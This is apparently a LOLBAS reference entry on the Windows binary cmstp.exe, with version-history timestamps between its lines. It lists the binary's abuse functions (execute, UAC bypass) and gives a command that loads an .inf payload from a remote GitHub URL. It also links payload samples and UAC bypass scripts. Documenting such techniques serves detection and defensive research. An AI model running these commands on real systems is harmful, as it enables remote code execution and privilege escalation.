2018-04-18 16:33:16 +00:00
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## Cmstp.exe
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2018-04-18 13:41:44 +00:00
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2018-04-18 16:33:16 +00:00
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* Functions: Execute, UACBypass
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2018-04-18 13:41:44 +00:00
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```
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2018-04-18 16:33:16 +00:00
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cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
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cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payloads/Cmstp.inf
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2018-04-18 13:41:44 +00:00
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```
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Acknowledgements:
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* Oddvar Moe - @oddvarmoe
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2018-04-18 16:33:16 +00:00
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* Nick Tyrer - @NickTyrer
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Code sample:
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2018-04-24 07:53:32 +00:00
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* [Cmstp.inf](https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payloads/Cmstp.inf)
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* [Cmstp_calc.sct](https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payloads/Cmstp_calc.sct)
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2018-04-18 16:33:16 +00:00
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Resources:
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* https://twitter.com/NickTyrer/status/958450014111633408
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* https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
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* https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
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* https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
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* https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1 (UAC Bypass)
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* https://github.com/hfiref0x/UACME
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Full path:
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```
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C:\Windows\system32\cmstp.exe
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C:\Windows\sysWOW64\cmstp.exe
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```
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Notes:
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